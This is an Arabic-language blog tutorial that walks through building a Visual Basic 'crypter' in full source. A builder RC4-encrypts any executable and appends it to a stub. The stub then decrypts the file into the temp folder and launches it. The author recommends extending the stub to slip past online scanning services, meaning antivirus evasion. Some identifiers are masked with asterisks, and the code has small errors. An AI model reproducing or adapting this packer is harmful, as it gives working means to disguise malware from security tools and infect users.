الاثنين، 17 يونيو 2013

تصميم برنامج تشفير بالفيجول بيسك


السلام عليكم

كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره



طيب الحين نجي الاكوآد

كـواد البرنامج :_:

في التصريحات العامه (General ) :_:

كود PHP:
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#q&szlig;" 
في زر الاستعراض

Command1

نضع هذا الكود :

كود PHP:
    With CommonDialog1 ' انتظار اداه دايلق
    .Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل
    .DialogTitle = "Select a File"
    .ShowOpen ' امر الاستعراض وجلب
    End With
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست 

النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :


كود PHP:
Dim sStube As String, sFile As String

Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب
sStube = Space(LOF(1))
Get #1, , sStube
Close #1


Open ****1.**** For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1

Open App.Path & "\s3od*****" For Binary As #1  ' اسم الملف الناتج بعد التشفير
Put #1, , sStube & FileSplit & RC4(sFile, pw)
Close #1

MsgBox "مبــروك تم تشفير الملف بنجآح" 
النجوم تعني = t e x t



في الموديل الى اضنفاه

ModRc4


نضع هذا الكود :_:

كود PHP:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function 
..........................

بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :

كود PHP:
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#qك"
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Sub Main()
Dim sStub As String, sFile As String

Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي
sStub = Space(LOF(1))
Get #1, , sStub ' اسم الستب
Close #1 ' اغلاق

sFile = Split(sStub, FileSplit)(1)

Open Environ("tmp") & "decrypted.exe" For Binary As #1
Put #1, , RC4(sFile, pw)
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء


Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه


End Sub 
النجوم تعني = N a m e

موديل رقم 2

باسم ModRc4

كود هـو :


كود PHP:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function 
طيب الحين نحفظ الستب

باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه


تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج

على شان محد يقول سعود قصر

ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح

على شان لما تخطئون تعرفون اخطأكم وين

0 commentaires:

إرسال تعليق

لا تنسى ان تشارك samir soltani بتعليقك
او نشر الموظوع جزاك الله خيرا